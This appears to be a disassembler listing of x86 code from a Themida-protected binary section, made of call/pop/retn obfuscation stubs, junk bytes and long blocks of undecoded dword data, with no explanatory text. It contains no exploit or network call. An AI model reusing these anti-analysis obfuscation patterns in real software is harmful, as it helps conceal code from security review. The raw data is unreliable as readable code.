add [esp-4+arg_4], 1Dh
inc ecx
push ecx
retn
sub_55032E endp
; ---------------------------------------------------------------------------
dw 41E0h
dd 0AA746B83h, 4CC72FEDh, 83ACF780h, 10158DBDh, 9750006h
dd 95BD83h, 74000610h, 8B535013h, 1B8C0h, 9D8D0000h, 612B6B7h
dd 585BD3FFh, 95BD83h, 74000610h, 0B8535011h, 1, 0B5689D8Dh
dd 0D3FF0612h, 6060585Bh, 2A359D01h, 66610610h, 8729C681h
dd 0E9605661h, 0Ah, 0A3FCD63Ch, 388A2DC1h, 61F57AE3h, 0F5C08B5Ah
dd 2D65BD83h, 0F000610h, 18B84h, 0BBCB600h, 102ECD95h
dd 65BD8306h, 6102Fh, 176840Fh, 6E90000h, 7A000000h, 1A4E4E3Ah
dd 0D68060B6h, 65858BE2h, 0E906102Fh, 8, 7420169Eh, 51086A49h
dd 3E805h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1504h, 0C3564600h, 8A5018E8h, 240489F7h, 0A0A8BB66h
dd 4E49858Dh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 140424h, 53430000h, 8589EBC3h, 61015A1h, 0F525050h
dd 158Ch, 0FE800h, 4F9E0000h, 5CBBAAF2h, 0EDF1BED0h, 71B5EB44h
dd 310F5AE8h, 61605250h, 0BA66310Fh, 585AE4FEh, 489585Ah
dd 8BD2B724h, 1000E59Dh, 27858D06h, 5706104Eh, 9E9h, 52A6F800h
dd 5D62D3B9h, 905AF900h, 0CDA6EEBAh, 24B75059h, 858D8990h
dd 0FF061016h, 10025195h, 0AE906h, 2DDB0000h, 0C6E4244Ch
dd 7DD0B112h, 6A0CC483h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 0B6FDC356h, 89BF3487h
dd 100D8D95h, 0EE806h, 717D0000h, 3DD97920h, 38B3FB58h
dd 60328312h, 0BDC38166h, 858D5BCEh, 6104E27h, 73B75090h
dd 3830F90h, 80000000h, 26A0EE7h, 233D9D89h, 95FF0610h
dd 6AED14h, 6161FC60h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Ah, 0CC35343h, 1252496Ch, 10B21CA5h, 4E5A85C7h
dd 10610h, 95230000h, 6102D39h, 24348950h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 99C35242h, 20A99503h
dd 12E90610h, 4000000h, 0E702CF90h, 231298BDh, 0B2ED3F49h
dd 0BBECAC68h, 0BB5898Eh, 306104Eh, 1005F99Dh, 9BD8306h
dd 1061022h, 31850Fh, 0EB810000h, 6800AF50h, 0F05F883h
dd 2285h, 859D8900h, 0B8061009h, 0
; ---------------------------------------------------------------------------
jmp loc_5505DF
; ---------------------------------------------------------------------------
db 29h, 1Dh, 0FCh
dd 3859ED0h, 7FA6BF5Eh, 6ED57299h
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 47h, 0D2h
; ---------------------------------------------------------------------------
loc_5505DF: ; CODE XREF: Themida_:005505C8j
cmp dword ptr [ebp+6100B05h], 0
jz loc_55062F
or bx, 7BEBh
pusha
push 0
push ebx
call sub_5505FD
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5505FD proc near ; CODE XREF: Themida_:005505F5p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5505FD endp
; ---------------------------------------------------------------------------
db 0EDh, 89h, 0B5h
; ---------------------------------------------------------------------------
stc
sub dl, [eax]
push es
call dword ptr [ebp+6100B05h]
mov edx, edi
popa
jle loc_55062F
jnz loc_55062F
mov [ebp+6102855h], edx
loc_55062F: ; CODE XREF: Themida_:005505E6j
; Themida_:0055061Dj ...
cmp dword ptr [ebp+6101359h], 0
jz loc_55064A
mov edx, [ebp+6100259h]
mov eax, 0
mov dx, si
loc_55064A: ; CODE XREF: Themida_:00550636j
pusha
jmp loc_550661
; ---------------------------------------------------------------------------
dd 0AF5FA7D3h, 6071BDD6h, 0C3F688E0h, 0A608A90Fh
db 0E2h
; ---------------------------------------------------------------------------
loc_550661: ; CODE XREF: Themida_:0055064Bj
pusha
mov esi, [ebp+6100935h]
jb loc_55066F
cmc
loc_55066F: ; CODE XREF: Themida_:00550668j
popa
mov eax, [ebp+61010C5h]
push 0
push edx
call sub_550681
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_550681 proc near ; CODE XREF: Themida_:00550679p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_550681 endp
; ---------------------------------------------------------------------------
retn 0ECBh
; ---------------------------------------------------------------------------
sbb bx, 40Ch
add eax, 2
jmp loc_5506B4
; ---------------------------------------------------------------------------
mov edx, 76508D28h
aad 4Ah
fldcw word ptr [eax]
mov ds:0FB004FFCh, al
pop ebx
retf 0DDBDh
; ---------------------------------------------------------------------------
db 0D2h
; ---------------------------------------------------------------------------
loc_5506B4: ; CODE XREF: Themida_:0055069Cj
mov [ebp+6104E03h], eax
push 0
push ebx
call sub_5506C5
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5506C5 proc near ; CODE XREF: Themida_:005506BDp
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 14h
inc ebx
push ebx
retn
sub_5506C5 endp
; ---------------------------------------------------------------------------
cli
sub ebx, 68DEB93Dh
mov ebx, [ebp+6102361h]
mov byte ptr [eax], 0FFh
push 0
push esi
call sub_5506F0
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5506F0 proc near ; CODE XREF: Themida_:005506E8p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 14h
inc esi
push esi
retn
sub_5506F0 endp
; ---------------------------------------------------------------------------
dd 6870FE7h, 31000000h, 1007E99Dh, 0C1958B06h, 0E806100Bh
dd 12h, 16436E55h, 494A65B3h, 67AE5D0h, 70AB3802h, 0C65AA430h
dd 1023E585h, 81665306h, 68B315F2h, 0BEEC764Eh, 81DF8B66h
dd 0D28A2404h, 85313DC4h, 6101CE1h, 1D45B5FFh, 60570610h
dd 8B0Fh, 21BE0000h, 617DC5C0h, 0B19D235Bh, 8D06100Ch
dd 13858A85h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1A04h, 0C3564600h, 0C23E7A8h, 80E1B55Bh, 0D38BDFDFh
dd 6AD0FFh, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h
dd 51410000h, 65247BC3h, 0FF09E95h, 8B60DFBFh, 100BBD95h
dd 55850306h, 6106100Bh, 31C98589h, 9D8B0610h, 6100DD5h
dd 855BD83h, 0F010610h, 10885h, 6830F00h, 89000000h, 1013658Dh
dd 6A6106h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h
dd 51410000h, 96109EC3h, 0D81E0B80h, 0BD8B6055h, 6100565h
dd 1CE08166h, 85C66175h, 61023E5h, 6890F45h, 8B000000h
dd 101EA995h, 0C3A6806h, 850F7124h, 0
; ---------------------------------------------------------------------------
add dword ptr [esp], 693C2C88h
push 0
push ecx
call sub_55084E
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_55084E proc near ; CODE XREF: Themida_:00550846p
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 1Ah
inc ecx
push ecx
retn
sub_55084E endp
; ---------------------------------------------------------------------------
push cs
xchg eax, ecx
mov al, ds:0E7BC936Bh
push edx
push ebx
or bx, 7839h
pop edx
pop ebx
push dword ptr [ebp+6101D45h]
push 0
push eax
call sub_55087F
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_55087F proc near ; CODE XREF: Themida_:00550877p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 15h
inc eax
push eax
retn
sub_55087F endp
; ---------------------------------------------------------------------------
db 0A8h
dd 7D9D8B28h, 0B06100Fh, 101B759Dh, 8A858D06h, 81061385h
dd 9B444BEBh, 0BE835h, 0B6070000h, 0B8783869h, 3645A253h
dd 8E988h, 0AB340000h, 11A0B9Ch, 0FF5B510Ch, 45BA66D0h
dd 119D8B75h, 6A061008h, 84CA8100h, 2930862Bh, 101F4DB5h
dd 29D0FF06h, 1012499Dh, 79BD8306h, 1061016h, 0DD850Fh
dd 8D890000h, 61006D9h, 10C5858Bh, 85890610h, 61014E5h
dd 61605260h, 16880F5Eh, 0E8000000h, 10h, 0CA3A3E18h, 0E076F566h
dd 84A1144Eh, 0E873B2C6h, 5DE96158h, 89000000h, 1010B185h
dd 890F5006h, 0Ah, 0BA665250h, 310F31D1h, 489585Ah, 146AF824h
dd 8E856h, 20EC0000h, 4D9DA96Ah, 0CF8005DBh, 0F85B5A2Fh
dd 31C995FFh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 180424h, 50400000h, 0E4F6AC3h, 0B70FA472h, 58DA8BD7h
dd 0F003880h, 0FFFFA085h, 8F0F56FFh, 6, 2AF99D8Bh, 0C65B0610h
dd 6A0100h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
dd 51410000h, 0CBAEAC3h, 1AEE9CA0h, 858932D6h, 6102195h
dd 61D6B70Fh, 5C5950Bh, 0BD830610h, 6101379h, 3C840F00h
dd 81000000h, 33727CE3h, 29958B6Fh, 6A061021h, 0D3BF0FFFh
dd 31C995FFh, 0B70F0610h, 0FFEDE9D9h, 0AE9FFFFh, 0BB000000h
dd 0B3539721h, 0B201C870h, 8E0F5374h, 6, 860Fh, 0C75B0000h
dd 10137985h, 106h, 0AD9D8B00h, 89061021h, 104E0F85h, 0B5896006h
dd 61008A5h, 1CFECF81h, 506122E5h, 489F08Ah, 50006A24h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h, 0C3504000h
dd 84456851h, 0D680A41Ah, 9D8B6094h, 6100EF9h, 66F5056Ah
dd 8D1AB8BBh, 104E2785h, 0B18D0106h, 90061031h, 0EE9h
dd 0BD241300h, 0DBCBC587h, 49B6272Bh, 50E858B4h, 0D840Fh
dd 52500000h, 853DBB66h, 8B66310Fh, 90585ADAh, 8DD08B66h
dd 104E1785h, 0EE906h, 0B2030000h, 96AC0A2Eh, 0A6953D84h
dd 6A967AD5h, 15CD9D33h, 66900610h, 5050DF8Bh, 13E852h
dd 5CDB0000h, 0BF401B70h, 800A2AA8h, 1455F37Fh, 0D477406h
dd 5A1DB674h, 6060310Fh, 585A6161h, 819D0B90h, 0FF061021h
dd 10080195h, 0CABB6606h, 1C8D8D56h, 0F06107Dh, 218Fh
dd 14E96000h, 5B000000h, 0E79AC0AEh, 0F1D4EBC5h, 0A1CBDBABh
dd 738C7191h, 8989F182h, 102F0585h, 0C00B6106h, 858D1174h
dd 6104E27h, 89D1FF50h, 104E4585h, 0C70AEB06h, 104E4585h
dd 0FFFFFF06h, 19958BFFh, 0B06102Ah, 100A3D95h, 89FC6106h
dd 100F7595h, 0E585C606h, 4D061023h, 4E8h, 3576A800h, 6E960A4h
dd 0BB000000h, 4DA6BDFDh, 53525076h, 5A310F5Ah, 66506158h
dd 448BD88Bh, 0BB660424h, 8BE8D6h, 89D78B66h, 0F042444h
dd 587h, 5E88BA00h, 6658545Ah, 0B5FFD78Bh, 6100945h, 0E855006Ah
dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 6CC35545h, 42239DAFh
dd 0EFC0495Ah, 5066C381h, 858D50A4h, 613858Ah, 0FFDE8B66h
dd 81950BD0h, 8906101Ch, 1012F585h, 25F38106h, 0C608BE83h
dd 1023E585h, 81664506h, 0E85FFEF3h, 4, 8E726969h, 8A50B1B6h
dd 24448BD7h, 66525004h, 310FDE8Bh, 48A0Fh, 0BA660000h
dd 585AA072h, 0BB66008Bh, 44895B77h, 0D68B0424h, 52006A58h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h
dd 505C1B1Ch, 7558D89h, 0FF5B0610h, 101D45B5h, 598D0906h
dd 0F06101Ch, 858DD2B7h, 613858Ah, 1C898529h, 85890610h
dd 6103101h, 12E9D0FFh, 5D000000h, 0AFE7D4E1h, 8B06B56Eh
dd 0D781C545h, 0EE2AE4D8h, 0AD858978h, 6A061009h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 17042444h, 43000000h
dd 828FC353h, 0D28B6AF5h, 68F0Fh, 0BD890000h, 6100871h
dd 6AD98C66h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 1A042444h, 45000000h, 94B5C355h, 0CEB2E370h, 35958905h
dd 8006100Dh, 0C1F64DD7h, 11840F04h, 81000002h, 8A24EEDBh
dd 0E1E953h, 81660000h, 8B329CDAh, 102955B5h, 10E806h
dd 15AB0000h, 7D69B573h, 0E2F3B641h, 368F934Ch, 0C28157D2h
dd 164DFA2Bh, 80C6815Bh, 8B000011h, 1016DD9Dh, 69BD8306h
dd 61029h, 2E850Fh, 0D68B0000h, 90E9h, 55006A00h, 3E8h
dd 0C35D2000h, 246C895Dh, 24448104h, 1404h, 0C3554500h
dd 6E972h, 8EB30000h, 0EB05E13Ch, 0F003E83h, 6084h, 89958900h
dd 6006102Fh, 7E8h, 6722EA00h, 9282DA6Ch, 5AD08B66h, 9D8B146Ah
dd 6101069h, 31C995FFh, 0DA800610h, 8166562Fh, 5AEE82D2h
dd 51006A61h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h
dd 0C3514100h, 1709120Eh, 28619533h, 9DE90610h, 89FFFFFFh
dd 1012C5BDh, 106C706h, 66000000h, 83C5FFBBh, 104E0FBDh
dd 850F0506h, 118h, 8BDEBF0Fh, 1009ADB5h, 8D9D8B06h, 0B906100Fh
dd 64h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h
dd 0D9C35040h, 1EBDAE7h, 10051D95h, 80CFB306h, 840FE83Eh
dd 2Eh, 0E967C280h, 35h, 0E853006Ah, 3, 5BC35B20h, 4245C89h
dd 4244481h, 1Bh, 2DC35343h, 756FDC56h, 663D4764h, 7E80D98Bh
dd 840FC205h, 61h, 0D7CA8166h, 958B46E2h, 6101AF5h, 0AC850F49h
dd 6AFFFFFFh, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch
dd 1C042444h, 43000000h, 8034C353h, 6A907979h, 89D76379h
dd 100DBD8Dh, 0FE96006h, 2C000000h, 0A8BDB7E7h, 43FAE3B8h
dd 6E1DD302h, 958950BBh, 610076Dh, 3EE961h, 0C3800000h
dd 0ADB589DAh, 6A061015h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 1A042444h, 41000000h, 0F6C1C351h, 0A45B3D9Ah
dd 0A19D8BB4h, 6006100Ch, 14E5958Bh, 0F520610h, 6158D7B7h
dd 0EE958h, 3D680000h, 6447F591h, 8338109h, 0AAEABA00h
dd 0A79BD83h, 0F000610h, 15684h, 52006A00h, 3E8h, 0C35A2000h
dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 0C0BFE8F2h
dd 958BD08Bh, 61015F5h, 15958960h, 0C606100Ch, 1023E585h
dd 0D08B5406h, 4E8h, 4EBEF400h, 46B750FFh, 424448Bh, 12E860h
dd 0BCDC0000h, 23D8B1Eh, 69BD7EFDh, 605027B5h, 27E5A789h
dd 5BF28B66h, 0AE9h, 331C7400h, 2126E735h, 612FCC94h, 0E850008Bh
dd 0Ah, 0DB2A7BDFh, 1176C428h, 5A5A3B4Eh, 4244489h, 14D6BB66h
dd 52006A58h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1404h
dd 0C3524200h, 3D9D8987h, 0FF061028h, 101D45B5h, 0E31BBA06h
dd 858D2825h, 613858Ah, 9619509h, 958B0610h, 6102105h
dd 6AD0FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h
dd 55450000h, 42653BC3h, 7E9h, 17E03500h, 87C7D0FBh, 0E5BB006Ah
dd 80724079h, 0B5FFDCCEh, 6100A79h, 0E856006Ah, 3, 5EC35E20h
dd 4247489h, 4244481h, 15h, 0B8C35646h, 6AD0FF3Ch, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
dd 3C93C356h, 9533D234h, 6100D1Dh
dd 0AD8D8961h, 0C706100Dh, 101E2985h, 106h, 0AE900h, 6F6D0000h
dd 10F976DCh, 943DFD3Bh, 0D19D8B60h, 68061022h, 0B102BAD2h
dd 0AE9h, 98C2B300h, 0C366151h, 81FF6B1Ch, 45AE2404h, 0FF6A4EFDh
dd 715958Bh, 95FF0610h, 61006B9h, 0E857006Ah, 3, 5FC35F20h
dd 4247C89h, 4244481h, 17h, 6CC35747h, 894D3C1Ah, 1018C9B5h
dd 0B5896106h, 6102D39h, 66905090h, 0A048CA81h, 11A9858Bh
dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 60EF8AC3h, 21219529h, 0C00B0610h, 2E840Fh
dd 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h
dd 53430000h, 958B4CC3h, 6102F6Dh, 2EE195FFh, 0B5090610h
dd 6101DE9h, 75185C7h, 10610h, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 150424h, 56460000h, 0F2FE3C3h
dd 0BD83DFB7h, 6101701h, 0F840F00h, 80000000h, 95FF10E3h
dd 61030B1h, 31A99D8Bh, 0BD830610h, 6102E85h, 23840F00h
dd 0E8000000h, 7, 0E4616FE8h, 60F4C86Dh, 95896160h, 6102D35h
dd 95FF5B61h, 6101639h, 1D7D9D89h, 0BD830610h, 6100939h
dd 62840F00h, 6A000000h, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 5639C351h, 0FDD9D89h
dd 835A0610h, 1032BDBDh, 850F0006h, 31h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 17h, 80C35343h, 89C78BB8h
dd 1026E58Dh, 0C195FF06h, 89061005h, 102D81B5h, 19BD8306h
dd 61031h, 57840Fh, 0F6800000h, 658581E3h, 306100Eh, 6A000040h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1C042444h
dd 43000000h, 6DD8C353h, 54646474h, 8A1002EEh, 9E8D9h
dd 70050000h, 0DA62FE0Ah, 0F39B998h, 38Bh, 0D1B70F00h
dd 2D85815Ah, 3061013h, 8B000040h, 0E8310FD7h, 0Ah, 0C342690h
dd 0E8080B9Ah, 0B70F8E35h, 8D8D5AD2h, 6105DFEh, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 26C35242h, 4B330A4Fh
dd 815D7B88h, 0B59BA8DBh, 0F98D2977h, 89061015h, 50006A01h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h
dd 74DD975Bh, 89DC1194h, 100D5185h, 0B1958906h, 33061023h
dd 89D78BC2h, 9D010441h, 61005B1h, 0BD31310Fh, 6101081h
dd 5E468D8Dh, 80500610h, 895A59D2h, 0E1958B01h, 80061032h
dd 0C23316CAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Dh, 1DC35242h, 33FBD894h, 3BE15A6Ah, 0A0BA66FCh, 441891Eh
dd 83D3BF0Fh, 103195BDh, 840F0006h, 2Eh, 5BDD8A56h, 1C8D95FFh
dd 6A0610h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h
dd 52420000h, 0ABE2E0C3h, 0C959D8Bh, 0BD830610h, 6100DE9h
dd 6B850F01h, 0E8000000h, 8, 0EEDAD0D8h, 0C700ABE8h, 58E95Bh
dd 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h
dd 56460000h, 48896BC3h, 2CB2621h, 0CE9900Bh, 2C000000h
dd 37D00BC2h, 0E769FF5Fh, 66360F2Ah, 0B58BD68Bh, 6105F7Eh
dd 6C7h, 0B58B0000h, 6105D33h, 6C7h, 0FCCF0000h, 5218589h
dd 0BD830610h, 6100751h, 0A3840F00h, 6A000001h, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 17042444h, 45000000h
dd 0CAE6C355h, 0BD29C15Ah, 6100FB5h, 11B5BD83h, 0F010610h
dd 15F85h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 0E86D9AC6h, 12h, 4F03D01h, 0D76BD4B5h
dd 0B41C6792h, 87E3F30Dh, 0CA814F9Bh, 4B937099h, 0D5B5315Ah
dd 8B06101Dh, 104E038Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1A04h, 0C3504000h, 481EBBDCh, 0C6E29B3Ch
dd 33520001h, 101D059Dh, 0B3605A06h, 0D38B669Ch, 59D25B68h
dd 0E96060ADh, 0Fh, 7BBC67F2h, 39E5D911h, 0D9374A93h, 6619D413h
dd 612C88BFh, 38E0Fh, 8B660000h, 48161CEh, 0A62E2524h
dd 51006A52h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 0A231677Dh, 92B3156Bh, 0CA80FF6Ah, 2D958BEBh
dd 0FF06100Eh, 1006B995h, 0EBF28006h, 0D2BF0F61h, 1F8995FFh
dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
dd 50400000h, 0C0E21FC3h, 0F627EBCEh, 2DD5BD89h, 8D8B0610h
dd 6104E03h, 0FECBE280h, 50006A01h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1D04h, 0C3504000h, 0C25D8436h, 1BC03512h
dd 11E872F0h, 0CC000000h, 0DFA98C07h, 0FA70950Fh, 9B593D2h
dd 0A035F250h, 5BD18B66h, 1D5BD83h, 0F010610h, 585h, 2BA6600h
dd 0C08BFCE0h, 0BD83B2B7h, 610158Dh, 83097500h, 100095BDh
dd 1A740006h, 0C08B5350h, 0E65858Bh, 85890610h, 6100E65h
dd 0B8159D8Dh, 0D3FF0612h, 0BD83585Bh, 6100095h, 50187400h
dd 65858B53h, 8906100Eh, 100E6585h, 49D8D06h, 0FF0612B5h
dd 0F585BD3h, 884h, 2870F00h, 8B000000h, 51006ADEh, 3E8h
dd 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 27BB57EAh, 5A385157h, 6AC08Bh, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 0E8D302C3h, 8, 8322AEEDh
dd 43C16182h, 105D958Bh, 665B0610h, 0BD83D78Bh, 6100751h
dd 4F850F00h, 6A000000h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 1C042444h, 40000000h, 2E5EC350h, 47B87C5Eh
dd 0E9378231h, 10h, 58DD93BAh, 7995DE9Bh, 0B0FA5E84h, 0E7F531F0h
dd 2779958Bh, 0BD830610h, 6100AA1h, 3840F00h, 0F000000h
dd 0BD83DAB7h, 6100751h, 15840F00h, 0B2000000h, 35BD8367h
dd 6101Eh, 6840Fh, 8D890000h, 610335Dh, 751BD83h, 0F000610h
dd 1284h, 35BD8300h, 6101Eh, 5840Fh, 81660000h, 83A8BBCAh
dd 100751BDh, 840F0006h, 34h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 0D7C35242h, 15BD83h, 0F000610h
dd 0B84h, 6E900h, 4B780000h, 0B52189Fh, 751BD83h, 0F000610h
dd 2384h, 0FBBB6600h, 0E1BD83A1h, 61021h, 12840Fh, 9D890000h
dd 6101241h, 1B6D95FFh, 9D890610h, 61021CDh, 6AC08Bh, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 160424h, 51410000h
dd 888B8BC3h, 13859D8Bh, 0CBB20610h, 158DBD83h, 75000610h
dd 95BD8309h, 61000h, 53501A74h, 858BC08Bh, 610132Dh, 132D8589h
dd 9D8D0610h, 612B87Ch, 585BD3FFh, 95BD83h, 74000610h
dd 8B535018h, 10132D85h, 2D858906h, 8D061013h, 12B51D9Dh
dd 5BD3FF06h, 6E958h, 0A4A30000h, 0F2F669FCh, 9B1958Bh
dd 0C08B0610h, 1A7D8589h, 0BD830610h, 6100751h, 8F840F00h
dd 89000004h, 1023D985h, 55BD8306h, 2061008h, 2F840Fh
dd 0BD010000h, 6101C99h, 0DE9BD83h, 0F010610h, 1C85h, 858B6000h
dd 61004D9h, 0FE9h, 0D5ECA600h, 811F61F8h
dd 8FEA4169h, 0FCCF2A27h, 6A6061h, 3E851h, 59200000h, 4C8959C3h
dd 44810424h, 140424h, 51410000h, 8D8B24C3h, 6104E03h
dd 0DAD28166h, 6A01FEDCh, 3E85500h, 20000000h, 895DC35Dh
dd 8104246Ch, 16042444h, 45000000h, 0F1C2C355h, 4E8C9h
dd 800000h, 0BB660000h, 0B7500D67h, 24448B83h, 8BD38B04h
dd 0BA665600h, 895B9C88h, 0E9042444h, 5, 8F82996Fh, 6AFC584Fh
dd 50006AFFh, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h
dd 0C3504000h, 81667403h, 0FFF61FC2h, 1006B995h, 3D950B06h
dd 0F06100Ah, 680h, 61853100h, 61061021h, 11398529h, 0BD8D0610h
dd 6100CB5h, 8BF6EA80h, 0BA661C4Fh, 0F7807981h, 29016ACEh
dd 102225B5h, 181EBB06h, 0B750272Ch, 240C89B8h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 18h, 8CC35040h, 0C697BE7Eh
dd 8D0ADE80h, 1345E685h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1904h, 0C3524200h, 0C660E70Fh, 0D0FFF486h
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 15h, 71C35242h
dd 39EB81B2h, 0F677F5Dh, 489h, 0B7BB6600h, 204F8BA3h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 3FC35343h, 0B589036Ah
dd 610045Dh, 50525091h, 0FD98B52h, 5A5B5031h, 5A310F58h
dd 53605058h, 0BC82BA66h, 943ABB5Bh, 916169C4h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 19h, 18C35040h, 0F69DE8A0h
dd 85BD898Eh, 8D06101Dh, 1345E685h, 51953106h, 0FF061029h
dd 68F0FD0h, 29000000h, 1014358Dh, 0B5BD8D06h, 6006100Ch
dd 5E9h, 7C1E8700h, 820F5EF8h, 5, 0C417E2B8h, 4F8B6172h
dd 0E9CA801Ch, 6A016Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 160424h, 52420000h, 2C0919C3h, 50D3B70Fh, 0B09FB360h
dd 0C896173h, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1704h, 0C3574700h, 34D4C028h, 0D18BD08Bh, 8DD08B66h
dd 1345E685h, 68C0F06h, 8B000000h, 102D699Dh, 66D0FF06h
dd 483DEA81h, 0F204F8Bh, 387h, 41DF8000h, 6A036Ah, 3E851h
dd 59200000h, 4C8959C3h, 44810424h, 150424h, 51410000h
dd 23E36EC3h, 101CB595h, 0BB665006h, 0C899543h, 51006A24h
dd 3E8h, 0C3592000h, 244C8959h, 24448104h, 1404h, 0C3514100h
dd 6890FFEh, 89000000h, 1029519Dh, 0E6858D06h, 6A061345h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 17042444h
dd 41000000h, 379DC351h, 85090D82h, 6100BD9h, 6AD0FFh
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 180424h, 57470000h
dd 939B3BC3h, 0D88BE9ACh, 4E038D8Bh, 6A0610h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 556841C3h
dd 9761C03Bh, 0B26C2893h, 6A01FEFAh, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 1B042444h, 41000000h, 9461C351h
dd 0AC11048Ch, 0EA803547h, 0CE8A3h, 0F020000h, 0CBC0A9Eh
dd 0F8A5F602h, 3CBAF3D1h, 5A797EC4h, 4E03858Bh, 8B660610h
dd 6A00FED0h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1D042444h, 46000000h, 0BE7AC356h, 0EC2CA9FBh, 522D593Bh
dd 15A1B531h, 16A0610h, 0A9E5DA81h, 0E95722EEh, 12h, 2C7A55Fh
dd 8AA1622Fh, 0C9628704h, 65234E89h, 685B75FAh, 8EC22F09h
dd 1A8E0Fh, 10E80000h, 4B000000h, 8831CDE0h, 0AA2F1A91h
dd 3EB682D6h, 66BEEFC8h, 5B3E0CBBh, 0F6243481h, 6A713DB0h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 15042444h
dd 43000000h, 8D25C353h, 45F0858Dh, 89600613h, 1009BDBDh
dd 45B58906h, 61061005h, 958BD0FFh, 61001E9h, 2D018D29h
dd 0BD830610h, 6100AA1h, 0B6840F00h, 66000000h, 0BD83DE8Bh
dd 6102209h, 0A6850F01h, 89000000h, 101A8585h, 0FA8D8D06h
dd 8B061345h, 10165995h, 9036A06h, 100559BDh, 66016A06h
dd 0D1FFD88Bh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
dd 1Bh, 9EC35242h, 41309F6h, 8AFF5BAEh, 459531F1h, 81061008h
dd 0D794BAF3h, 0F016A4Dh, 885h, 9D8B5200h, 6101331h, 6A016A5Ah
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 19042444h
dd 41000000h, 0DB7EC351h, 401B705Ch, 1A918D89h, 0D1FF0610h
dd 0E8BFC380h, 0FA4B6D59h, 5810Fh, 81660000h, 89E211F3h
